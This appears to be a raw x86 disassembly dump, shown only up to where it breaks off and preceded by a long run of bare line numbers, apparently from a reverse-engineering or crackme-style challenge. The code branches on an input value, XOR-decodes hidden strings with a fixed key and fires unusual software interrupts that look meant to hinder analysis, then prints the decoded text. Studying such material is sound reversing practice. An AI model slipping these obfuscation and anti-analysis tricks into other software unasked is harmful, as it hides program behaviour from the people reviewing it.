40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
1413
1414
1415
1416
1417
1418
1419
1420
1421
1422
1423
1424
1425
1426
1427
1428
1429
1430
1431
1432
1433
1434
1435
1436
1437
1438
1439
1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456
1457
1458
1459
1460
1461
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471
1472
1473
1474
1475
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
1494
1495
1496
1497
1498
1499
1500
1501
1502
1503
1504
1505
1506
1507
1508
1509
1510
1511
1512
1513
1514
1515
1516
1517
1518
1519
1520
1521
1522
1523
1524
1525
1526
1527
1528
1529
1530
1531
1532
1533
1534
1535
1536
1537
1538
1539
1540
1541
1542
1543
1544
1545
1546
1547
1548
1549
1550
1551
1552
1553
1554
1555
1556
1557
1558
1559
1560
1561
1562
1563
1564
1565
1566
1567
1568
1569
1570
1571
1572
1573
1574
1575
1576
1577
1578
1579
1580
1581
1582
1583
1584
1585
1586
1587
1588
1589
1590
1591
1592
1593
1594
1595
1596
1597
1598
1599
1600
1601
1602
1603
1604
1605
1606
1607
1608
1609
1610
1611
1612
1613
1614
1615
1616
1617
1618
1619
1620
1621
1622
1623
1624
1625
1626
1627
1628
1629
1630
1631
1632
1633
1634
1635
1636
1637
1638
1639
1640
1641
1642
1643
1644
1645
1646
1647
1648
1649
1650
1651
1652
1653
1654
1655
1656
1657
1658
1659
1660
1661
1662
1663
1664
1665
1666
1667
1668
1669
0: 83 fe 20 cmp esi, 0x20
3: 0f 84 a3 03 00 00 je 0x3ac
9: 83 fe 0d cmp esi, 0xd
c: 0f 84 13 04 00 00 je 0x425
12: 83 fe 15 cmp esi, 0x15
15: 0f 84 49 04 00 00 je 0x464
1b: 83 fe 5a cmp esi, 0x5a
1e: 0f 84 c1 04 00 00 je 0x4e5
24: 83 fe 3d cmp esi, 0x3d
27: 0f 84 e7 04 00 00 je 0x514
2d: 83 fe 36 cmp esi, 0x36
30: 0f 84 70 04 00 00 je 0x4a6
36: 83 fe 31 cmp esi, 0x31
39: 0f 84 46 05 00 00 je 0x585
3f: 83 fe 0f cmp esi, 0xf
42: 0f 84 7f 05 00 00 je 0x5c7
48: 83 fe 50 cmp esi, 0x50
4b: 0f 84 a4 05 00 00 je 0x5f5
51: 83 fe 59 cmp esi, 0x59
54: 0f 84 fc 04 00 00 je 0x556
5a: 83 fe 4a cmp esi, 0x4a
5d: 0f 84 c1 05 00 00 je 0x624
63: 83 fe 06 cmp esi, 0x6
66: 0f 84 e4 05 00 00 je 0x650
6c: 83 fe 0c cmp esi, 0xc
6f: 0f 84 39 06 00 00 je 0x6ae
75: 83 fe 16 cmp esi, 0x16
78: 0f 84 01 06 00 00 je 0x67f
7e: 83 fe 2b cmp esi, 0x2b
81: 0f 84 56 06 00 00 je 0x6dd
87: 83 fe 34 cmp esi, 0x34
8a: 0f 84 7c 06 00 00 je 0x70c
90: 83 fe 55 cmp esi, 0x55
93: 0f 84 ce 06 00 00 je 0x767
99: 83 fe 17 cmp esi, 0x17
9c: 0f 84 96 06 00 00 je 0x738
a2: 83 fe 0e cmp esi, 0xe
a5: 0f 84 ac 0c 00 00 je 0xd57
ab: 83 fe 11 cmp esi, 0x11
ae: 0f 84 79 0c 00 00 je 0xd2d
b4: 83 fe 4f cmp esi, 0x4f
b7: 0f 84 44 0c 00 00 je 0xd01
bd: 83 fe 47 cmp esi, 0x47
c0: 0f 84 0c 0c 00 00 je 0xcd2
c6: 83 fe 2f cmp esi, 0x2f
c9: 0f 84 d4 0b 00 00 je 0xca3
cf: 83 fe 30 cmp esi, 0x30
d2: 0f 84 9c 0b 00 00 je 0xc74
d8: 83 fe 04 cmp esi, 0x4
db: 0f 84 67 0b 00 00 je 0xc48
e1: 83 fe 2c cmp esi, 0x2c
e4: 0f 84 2f 0b 00 00 je 0xc19
ea: 83 fe 40 cmp esi, 0x40
ed: 0f 84 5b 0f 00 00 je 0x104e
f3: 83 fe 1a cmp esi, 0x1a
f6: 0f 84 23 0f 00 00 je 0x101f
fc: 83 fe 38 cmp esi, 0x38
ff: 0f 84 eb 0e 00 00 je 0xff0
105: 83 fe 32 cmp esi, 0x32
108: 0f 84 b3 0e 00 00 je 0xfc1
10e: 83 fe 46 cmp esi, 0x46
111: 0f 84 7b 0e 00 00 je 0xf92
117: 83 fe 43 cmp esi, 0x43
11a: 0f 84 46 0e 00 00 je 0xf66
120: 83 fe 39 cmp esi, 0x39
123: 0f 84 0e 0e 00 00 je 0xf37
129: 83 fe 53 cmp esi, 0x53
12c: 0f 84 d6 0d 00 00 je 0xf08
132: 83 fe 23 cmp esi, 0x23
135: 0f 84 9e 0d 00 00 je 0xed9
13b: 83 fe 37 cmp esi, 0x37
13e: 0f 84 66 0d 00 00 je 0xeaa
144: 83 fe 2a cmp esi, 0x2a
147: 0f 84 2e 0d 00 00 je 0xe7b
14d: 83 fe 29 cmp esi, 0x29
150: 0f 84 f6 0c 00 00 je 0xe4c
156: 83 fe 1e cmp esi, 0x1e
159: 0f 84 b4 0c 00 00 je 0xe13
15f: 83 fe 51 cmp esi, 0x51
162: 0f 84 7c 0c 00 00 je 0xde4
168: 83 fe 27 cmp esi, 0x27
16b: 0f 84 44 0c 00 00 je 0xdb5
171: 83 fe 63 cmp esi, 0x63
174: 0f 84 0c 0c 00 00 je 0xd86
17a: 83 fe 52 cmp esi, 0x52
17d: 0f 84 9e 14 00 00 je 0x1621
183: 83 fe 60 cmp esi, 0x60
186: 0f 84 66 14 00 00 je 0x15f2
18c: 83 fe 44 cmp esi, 0x44
18f: 0f 84 2e 14 00 00 je 0x15c3
195: 83 fe 2e cmp esi, 0x2e
198: 0f 84 f9 13 00 00 je 0x1597
19e: 83 fe 07 cmp esi, 0x7
1a1: 0f 84 c4 13 00 00 je 0x156b
1a7: 83 fe 21 cmp esi, 0x21
1aa: 0f 84 8c 13 00 00 je 0x153c
1b0: 83 fe 45 cmp esi, 0x45
1b3: 0f 84 54 13 00 00 je 0x150d
1b9: 83 fe 33 cmp esi, 0x33
1bc: 0f 84 1c 13 00 00 je 0x14de
1c2: 83 fe 5e cmp esi, 0x5e
1c5: 0f 84 e7 12 00 00 je 0x14b2
1cb: 83 fe 2d cmp esi, 0x2d
1ce: 0f 84 af 12 00 00 je 0x1483
1d4: 83 fe 08 cmp esi, 0x8
1d7: 0f 84 77 12 00 00 je 0x1454
1dd: 83 fe 61 cmp esi, 0x61
1e0: 0f 84 41 12 00 00 je 0x1427
1e6: 83 fe 02 cmp esi, 0x2
1e9: 0f 84 09 12 00 00 je 0x13f8
1ef: 83 fe 4b cmp esi, 0x4b
1f2: 0f 84 d1 11 00 00 je 0x13c9
1f8: 83 fe 22 cmp esi, 0x22
1fb: 0f 84 99 11 00 00 je 0x139a
201: 83 fe 3b cmp esi, 0x3b
204: 0f 84 61 11 00 00 je 0x136b
20a: 83 fe 3c cmp esi, 0x3c
20d: 0f 84 29 11 00 00 je 0x133c
213: 83 fe 25 cmp esi, 0x25
216: 0f 84 f1 10 00 00 je 0x130d
21c: 83 fe 4c cmp esi, 0x4c
21f: 0f 84 bb 10 00 00 je 0x12e0
225: 83 fe 19 cmp esi, 0x19
228: 0f 84 83 10 00 00 je 0x12b1
22e: 83 fe 12 cmp esi, 0x12
231: 0f 84 4b 10 00 00 je 0x1282
237: 83 fe 1c cmp esi, 0x1c
23a: 0f 84 13 10 00 00 je 0x1253
240: 83 fe 5c cmp esi, 0x5c
243: 0f 84 db 0f 00 00 je 0x1224
249: 83 fe 03 cmp esi, 0x3
24c: 0f 84 a3 0f 00 00 je 0x11f5
252: 83 fe 62 cmp esi, 0x62
255: 0f 84 6b 0f 00 00 je 0x11c6
25b: 83 fe 4e cmp esi, 0x4e
25e: 0f 84 33 0f 00 00 je 0x1197
264: 83 fe 4d cmp esi, 0x4d
267: 0f 84 fb 0e 00 00 je 0x1168
26d: 83 fe 42 cmp esi, 0x42
270: 0f 84 c3 0e 00 00 je 0x1139
276: 83 fe 3f cmp esi, 0x3f
279: 0f 84 8b 0e 00 00 je 0x110a
27f: 83 fe 58 cmp esi, 0x58
282: 0f 84 53 0e 00 00 je 0x10db
288: 83 fe 54 cmp esi, 0x54
28b: 0f 84 1b 0e 00 00 je 0x10ac
291: 83 fe 05 cmp esi, 0x5
294: 0f 84 e3 0d 00 00 je 0x107d
29a: 83 fe 10 cmp esi, 0x10
29d: 0f 84 d8 07 00 00 je 0xa7b
2a3: 83 fe 64 cmp esi, 0x64
2a6: 0f 84 a0 07 00 00 je 0xa4c
2ac: 83 fe 1d cmp esi, 0x1d
2af: 0f 84 68 07 00 00 je 0xa1d
2b5: 83 fe 13 cmp esi, 0x13
2b8: 0f 84 30 07 00 00 je 0x9ee
2be: 83 fe 0b cmp esi, 0xb
2c1: 0f 84 f8 06 00 00 je 0x9bf
2c7: 83 fe 01 cmp esi, 0x1
2ca: 0f 84 c0 06 00 00 je 0x990
2d0: 83 fe 3a cmp esi, 0x3a
2d3: 0f 84 88 06 00 00 je 0x961
2d9: 83 fe 48 cmp esi, 0x48
2dc: 0f 84 50 06 00 00 je 0x932
2e2: 83 fe 49 cmp esi, 0x49
2e5: 0f 84 18 06 00 00 je 0x903
2eb: 83 fe 1b cmp esi, 0x1b
2ee: 0f 84 e0 05 00 00 je 0x8d4
2f4: 83 fe 56 cmp esi, 0x56
2f7: 0f 84 a8 05 00 00 je 0x8a5
2fd: 83 fe 26 cmp esi, 0x26
300: 0f 84 70 05 00 00 je 0x876
306: 83 fe 14 cmp esi, 0x14
309: 0f 84 38 05 00 00 je 0x847
30f: 83 fe 0a cmp esi, 0xa
312: 0f 84 03 05 00 00 je 0x81b
318: 83 fe 09 cmp esi, 0x9
31b: 0f 84 ce 04 00 00 je 0x7ef
321: 83 fe 1f cmp esi, 0x1f
324: 0f 84 96 04 00 00 je 0x7c0
32a: 83 fe 3e cmp esi, 0x3e
32d: 0f 84 ba 08 00 00 je 0xbed
333: 83 fe 5b cmp esi, 0x5b
336: 0f 84 82 08 00 00 je 0xbbe
33c: 83 fe 5d cmp esi, 0x5d
33f: 0f 84 4a 08 00 00 je 0xb8f
345: 83 fe 28 cmp esi, 0x28
348: 0f 84 12 08 00 00 je 0xb60
34e: 83 fe 35 cmp esi, 0x35
351: 0f 84 da 07 00 00 je 0xb31
357: 83 fe 41 cmp esi, 0x41
35a: 0f 84 a5 07 00 00 je 0xb05
360: 83 fe 57 cmp esi, 0x57
363: 0f 84 6d 07 00 00 je 0xad6
369: 83 fe 5f cmp esi, 0x5f
36c: 0f 84 38 07 00 00 je 0xaaa
372: 83 fe 18 cmp esi, 0x18
375: 0f 84 1b 04 00 00 je 0x796
37b: 83 fe 24 cmp esi, 0x24
37e: 75 6d jne 0x3ed
380: 8d 74 24 fa lea esi, [esp-0x6]
384: b9 26 00 00 00 mov ecx, 0x26
389: bf 2f 00 00 00 mov edi, 0x2f
38e: 89 c8 mov eax, ecx
390: 99 cdq
391: f7 ff idiv edi
393: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
398: 30 04 0e xor BYTE PTR [esi+ecx*1], al
39b: 83 c1 01 add ecx, 0x1
39e: 83 f9 4d cmp ecx, 0x4d
3a1: 75 eb jne 0x38e
3a3: cd 51 int 0x51
3a5: be 1b 00 00 00 mov esi, 0x1b
3aa: eb 41 jmp 0x3ed
3ac: 8d 74 24 15 lea esi, [esp+0x15]
3b0: b9 0b 00 00 00 mov ecx, 0xb
3b5: bf 5d 41 4c ae mov edi, 0xae4c415d
3ba: 8d 74 26 00 lea esi, [esi+eiz*1+0x0]
3be: 89 c8 mov eax, ecx
3c0: f7 ef imul edi
3c2: 8d 04 0a lea eax, [edx+ecx*1]
3c5: 89 ca mov edx, ecx
3c7: c1 fa 1f sar edx, 0x1f
3ca: c1 f8 05 sar eax, 0x5
3cd: 29 d0 sub eax, edx
3cf: 89 ca mov edx, ecx
3d1: 6b c0 2f imul eax, eax, 0x2f
3d4: 29 c2 sub edx, eax
3d6: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
3db: 30 04 0e xor BYTE PTR [esi+ecx*1], al
3de: 83 c1 01 add ecx, 0x1
3e1: 83 f9 17 cmp ecx, 0x17
3e4: 75 d8 jne 0x3be
3e6: cd 2b int 0x2b
3e8: be 64 00 00 00 mov esi, 0x64
3ed: 89 74 24 04 mov DWORD PTR [esp+0x4], esi
3f1: 8d 74 24 20 lea esi, [esp+0x20]
3f5: c7 04 24 68 70 40 00 mov DWORD PTR [esp], 0x407068
3fc: e8 e5 f9 ff ff call 0xfffffde6
401: 0f be 06 movsx eax, BYTE PTR [esi]
404: c7 04 24 6c 70 40 00 mov DWORD PTR [esp], 0x40706c
40b: 83 c6 01 add esi, 0x1
40e: 89 44 24 04 mov DWORD PTR [esp+0x4], eax
412: e8 cf f9 ff ff call 0xfffffde6
417: 39 f3 cmp ebx, esi
419: 75 e6 jne 0x401
41b: 8d 65 f4 lea esp, [ebp-0xc]
41e: 31 c0 xor eax, eax
420: 5b pop ebx
421: 5e pop esi
422: 5f pop edi
423: 5d pop ebp
424: c3 ret
425: 8d 74 24 0d lea esi, [esp+0xd]
429: b9 13 00 00 00 mov ecx, 0x13
42e: bf 5d 41 4c ae mov edi, 0xae4c415d
433: 89 c8 mov eax, ecx
435: f7 ef imul edi
437: 8d 04 0a lea eax, [edx+ecx*1]
43a: 89 ca mov edx, ecx
43c: c1 fa 1f sar edx, 0x1f
43f: c1 f8 05 sar eax, 0x5
442: 29 d0 sub eax, edx
444: 89 ca mov edx, ecx
446: 6b c0 2f imul eax, eax, 0x2f
449: 29 c2 sub edx, eax
44b: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
450: 30 04 0e xor BYTE PTR [esi+ecx*1], al
453: 83 c1 01 add ecx, 0x1
456: 83 f9 27 cmp ecx, 0x27
459: 75 d8 jne 0x433
45b: cd 23 int 0x23
45d: be 50 00 00 00 mov esi, 0x50
462: eb 89 jmp 0x3ed
464: 8d 74 24 14 lea esi, [esp+0x14]
468: b9 0c 00 00 00 mov ecx, 0xc
46d: bf 5d 41 4c ae mov edi, 0xae4c415d
472: 89 c8 mov eax, ecx
474: f7 ef imul edi
476: 8d 04 0a lea eax, [edx+ecx*1]
479: 89 ca mov edx, ecx
47b: c1 fa 1f sar edx, 0x1f
47e: c1 f8 05 sar eax, 0x5
481: 29 d0 sub eax, edx
483: 89 ca mov edx, ecx
485: 6b c0 2f imul eax, eax, 0x2f
488: 29 c2 sub edx, eax
48a: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
48f: 30 04 0e xor BYTE PTR [esi+ecx*1], al
492: 83 c1 01 add ecx, 0x1
495: 83 f9 19 cmp ecx, 0x19
498: 75 d8 jne 0x472
49a: cd 08 int 0x8
49c: be 47 00 00 00 mov esi, 0x47
4a1: e9 47 ff ff ff jmp 0x3ed
4a6: b9 1f 00 00 00 mov ecx, 0x1f
4ab: be 5d 41 4c ae mov esi, 0xae4c415d
4b0: 89 c8 mov eax, ecx
4b2: 89 cf mov edi, ecx
4b4: f7 ee imul esi
4b6: 8d 04 0a lea eax, [edx+ecx*1]
4b9: 89 ca mov edx, ecx
4bb: c1 fa 1f sar edx, 0x1f
4be: c1 f8 05 sar eax, 0x5
4c1: 29 d0 sub eax, edx
4c3: 6b c0 2f imul eax, eax, 0x2f
4c6: 29 c7 sub edi, eax
4c8: 0f b6 44 3c 20 movzx eax, BYTE PTR [esp+edi*1+0x20]
4cd: 30 44 0c 01 xor BYTE PTR [esp+ecx*1+0x1], al
4d1: 83 c1 01 add ecx, 0x1
4d4: 83 f9 3f cmp ecx, 0x3f
4d7: 75 d7 jne 0x4b0
4d9: cd 12 int 0x12
4db: be 21 00 00 00 mov esi, 0x21
4e0: e9 08 ff ff ff jmp 0x3ed
4e5: 8d 74 24 1c lea esi, [esp+0x1c]
4e9: b9 04 00 00 00 mov ecx, 0x4
4ee: bf 2f 00 00 00 mov edi, 0x2f
4f3: 89 c8 mov eax, ecx
4f5: 99 cdq
4f6: f7 ff idiv edi
4f8: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
4fd: 30 04 0e xor BYTE PTR [esi+ecx*1], al
500: 83 c1 01 add ecx, 0x1
503: 83 f9 09 cmp ecx, 0x9
506: 75 eb jne 0x4f3
508: cd 3a int 0x3a
50a: be 1d 00 00 00 mov esi, 0x1d
50f: e9 d9 fe ff ff jmp 0x3ed
514: 8d 74 24 06 lea esi, [esp+0x6]
518: b9 1a 00 00 00 mov ecx, 0x1a
51d: bf 5d 41 4c ae mov edi, 0xae4c415d
522: 89 c8 mov eax, ecx
524: f7 ef imul edi
526: 8d 04 0a lea eax, [edx+ecx*1]
529: 89 ca mov edx, ecx
52b: c1 fa 1f sar edx, 0x1f
52e: c1 f8 05 sar eax, 0x5
531: 29 d0 sub eax, edx
533: 89 ca mov edx, ecx
535: 6b c0 2f imul eax, eax, 0x2f
538: 29 c2 sub edx, eax
53a: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
53f: 30 04 0e xor BYTE PTR [esi+ecx*1], al
542: 83 c1 01 add ecx, 0x1
545: 83 f9 35 cmp ecx, 0x35
548: 75 d8 jne 0x522
54a: cd 4f int 0x4f
54c: be 60 00 00 00 mov esi, 0x60
551: e9 97 fe ff ff jmp 0x3ed
556: 8d 74 24 19 lea esi, [esp+0x19]
55a: b9 07 00 00 00 mov ecx, 0x7
55f: bf 2f 00 00 00 mov edi, 0x2f
564: 89 c8 mov eax, ecx
566: 99 cdq
567: f7 ff idiv edi
569: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
56e: 30 04 0e xor BYTE PTR [esi+ecx*1], al
571: 83 c1 01 add ecx, 0x1
574: 83 f9 0f cmp ecx, 0xf
577: 75 eb jne 0x564
579: cd 5d int 0x5d
57b: be 3d 00 00 00 mov esi, 0x3d
580: e9 68 fe ff ff jmp 0x3ed
585: 8d 74 24 0e lea esi, [esp+0xe]
589: b9 12 00 00 00 mov ecx, 0x12
58e: bf 5d 41 4c ae mov edi, 0xae4c415d
593: 89 c8 mov eax, ecx
595: f7 ef imul edi
597: 8d 04 0a lea eax, [edx+ecx*1]
59a: 89 ca mov edx, ecx
59c: c1 fa 1f sar edx, 0x1f
59f: c1 f8 05 sar eax, 0x5
5a2: 29 d0 sub eax, edx
5a4: 89 ca mov edx, ecx
5a6: 6b c0 2f imul eax, eax, 0x2f
5a9: 29 c2 sub edx, eax
5ab: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
5b0: 30 04 0e xor BYTE PTR [esi+ecx*1], al
5b3: 83 c1 01 add ecx, 0x1
5b6: 83 f9 25 cmp ecx, 0x25
5b9: 75 d8 jne 0x593
5bb: cd 13 int 0x13
5bd: be 09 00 00 00 mov esi, 0x9
5c2: e9 26 fe ff ff jmp 0x3ed
5c7: 8d 74 24 15 lea esi, [esp+0x15]
5cb: b9 0b 00 00 00 mov ecx, 0xb
5d0: bf 2f 00 00 00 mov edi, 0x2f
5d5: 89 c8 mov eax, ecx
5d7: 99 cdq
5d8: f7 ff idiv edi
5da: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
5df: 30 04 0e xor BYTE PTR [esi+ecx*1], al
5e2: 83 c1 01 add ecx, 0x1
5e5: 83 f9 17 cmp ecx, 0x17
5e8: 75 eb jne 0x5d5
5ea: cc int3
5eb: be 3a 00 00 00 mov esi, 0x3a
5f0: e9 f8 fd ff ff jmp 0x3ed
5f5: 8d 74 24 0e lea esi, [esp+0xe]
5f9: b9 12 00 00 00 mov ecx, 0x12
5fe: bf 2f 00 00 00 mov edi, 0x2f
603: 89 c8 mov eax, ecx
605: 99 cdq
606: f7 ff idiv edi
608: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
60d: 30 04 0e xor BYTE PTR [esi+ecx*1], al
610: 83 c1 01 add ecx, 0x1
613: 83 f9 25 cmp ecx, 0x25
616: 75 eb jne 0x603
618: cd 44 int 0x44
61a: be 26 00 00 00 mov esi, 0x26
61f: e9 c9 fd ff ff jmp 0x3ed
624: b9 1b 00 00 00 mov ecx, 0x1b
629: be 2f 00 00 00 mov esi, 0x2f
62e: 89 c8 mov eax, ecx
630: 99 cdq
631: f7 fe idiv esi
633: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
638: 30 44 0c 05 xor BYTE PTR [esp+ecx*1+0x5], al
63c: 83 c1 01 add ecx, 0x1
63f: 83 f9 37 cmp ecx, 0x37
642: 75 ea jne 0x62e
644: cd 0b int 0xb
646: be 33 00 00 00 mov esi, 0x33
64b: e9 9d fd ff ff jmp 0x3ed
650: 8d 74 24 03 lea esi, [esp+0x3]
654: b9 1d 00 00 00 mov ecx, 0x1d
659: bf 2f 00 00 00 mov edi, 0x2f
65e: 89 c8 mov eax, ecx
660: 99 cdq
661: f7 ff idiv edi
663: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
668: 30 04 0e xor BYTE PTR [esi+ecx*1], al
66b: 83 c1 01 add ecx, 0x1
66e: 83 f9 3b cmp ecx, 0x3b
671: 75 eb jne 0x65e
673: cd 2d int 0x2d
675: be 11 00 00 00 mov esi, 0x11
67a: e9 6e fd ff ff jmp 0x3ed
67f: 8d 74 24 f5 lea esi, [esp-0xb]
683: b9 2b 00 00 00 mov ecx, 0x2b
688: bf 2f 00 00 00 mov edi, 0x2f
68d: 89 c8 mov eax, ecx
68f: 99 cdq
690: f7 ff idiv edi
692: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
697: 30 04 0e xor BYTE PTR [esi+ecx*1], al
69a: 83 c1 01 add ecx, 0x1
69d: 83 f9 57 cmp ecx, 0x57
6a0: 75 eb jne 0x68d
6a2: cd 4c int 0x4c
6a4: be 13 00 00 00 mov esi, 0x13
6a9: e9 3f fd ff ff jmp 0x3ed
6ae: 8d 74 24 fc lea esi, [esp-0x4]
6b2: b9 24 00 00 00 mov ecx, 0x24
6b7: bf 2f 00 00 00 mov edi, 0x2f
6bc: 89 c8 mov eax, ecx
6be: 99 cdq
6bf: f7 ff idiv edi
6c1: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
6c6: 30 04 0e xor BYTE PTR [esi+ecx*1], al
6c9: 83 c1 01 add ecx, 0x1
6cc: 83 f9 49 cmp ecx, 0x49
6cf: 75 eb jne 0x6bc
6d1: cd 5b int 0x5b
6d3: be 0d 00 00 00 mov esi, 0xd
6d8: e9 10 fd ff ff jmp 0x3ed
6dd: 8d 4c 24 13 lea ecx, [esp+0x13]
6e1: be 0d 00 00 00 mov esi, 0xd
6e6: bf 2f 00 00 00 mov edi, 0x2f
6eb: 89 f0 mov eax, esi
6ed: 99 cdq
6ee: f7 ff idiv edi
6f0: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
6f5: 30 04 31 xor BYTE PTR [ecx+esi*1], al
6f8: 83 c6 01 add esi, 0x1
6fb: 83 fe 1b cmp esi, 0x1b
6fe: 75 eb jne 0x6eb
700: cd 50 int 0x50
702: be 3b 00 00 00 mov esi, 0x3b
707: e9 e1 fc ff ff jmp 0x3ed
70c: b9 2d 00 00 00 mov ecx, 0x2d
